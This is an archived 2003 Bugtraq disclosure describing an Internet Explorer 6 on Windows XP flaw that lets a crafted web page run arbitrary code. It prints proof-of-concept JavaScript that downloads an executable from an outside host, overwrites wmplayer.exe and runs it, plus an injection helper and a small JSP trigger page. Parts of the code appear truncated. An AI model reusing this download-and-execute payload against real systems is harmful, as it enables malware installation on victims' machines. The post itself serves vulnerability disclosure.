Home page logo

bugtraq logo Bugtraq mailing list archives

Internet explorer 6 on windows XP allows exection of arbitrary code
From: jelmer <jkuperus () planet nl>
Date: Fri, 12 Sep 2003 00:31:41 +0200

Internet explorer 6 on windows XP allows exection of arbitrary code


Yesterday Liu Die Yu released a number series of advisories concerning
internet explorer
by combining on of these issues with an earlier issue I myself reported a
while back
You can construct a specially crafted webpage that can take any action on a
users system
including but not limited to, installing trojans, keyloggers, wiping the
users harddrive etc.


Internet explorer 6 comes with a media sidebar in wich you can load and play
without even leaving the browser. when you instruct the mediabar to load a
file from an
unknown host or the HTTP status returned by an existing host indicates an
this media bar displays an error page inside the media bar namely


res URL's are treated as being in the "my computer zone" and are loaded from
the users filesystem
perfect conditions for the issue I describe on

http://www.mail-archive.com/full-disclosure () lists netsys com/msg06791.html

To work. now all that is needed is a way to inject this exploit code into
this page
This method was graciously provided by Liu Die Yu as you can read on


Combining these issues we get something like :


<textarea id="code" style="display:none;">

    var x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET", "http://ip3e83566f.speed.planet.nl/1.exe",0);

    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;

    s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
    location.href = "mms://";


<script language="javascript">

    function preparecode(code) {
        result = '';
        lines = code.split(/\r\n/);
        for (i=0;i<lines.length;i++) {

            line = lines[i];
            line = line.replace(/^\s+/,"");
            line = line.replace(/\s+$/,"");
            line = line.replace(/'/g,"\\'");
            line = line.replace(/[\\]/g,"\\\\");
            line = line.replace(/[/]/g,"%2f");

            if (line != '') {
                result += line +'\\r\\n';
        return result;

    function doit() {
        mycode = preparecode(document.all.code.value);
        myURL = "file:javascript:eval('" + mycode + "')";


    setTimeout("doit()", 5000);



error.jsp is a jsp page that consists of one line, namely

<% response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); %>


A demonstration is provided at :



Disable active scripting or do "the sensible thing" and pick another browser
such as the
excellent mozilla firebird.

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]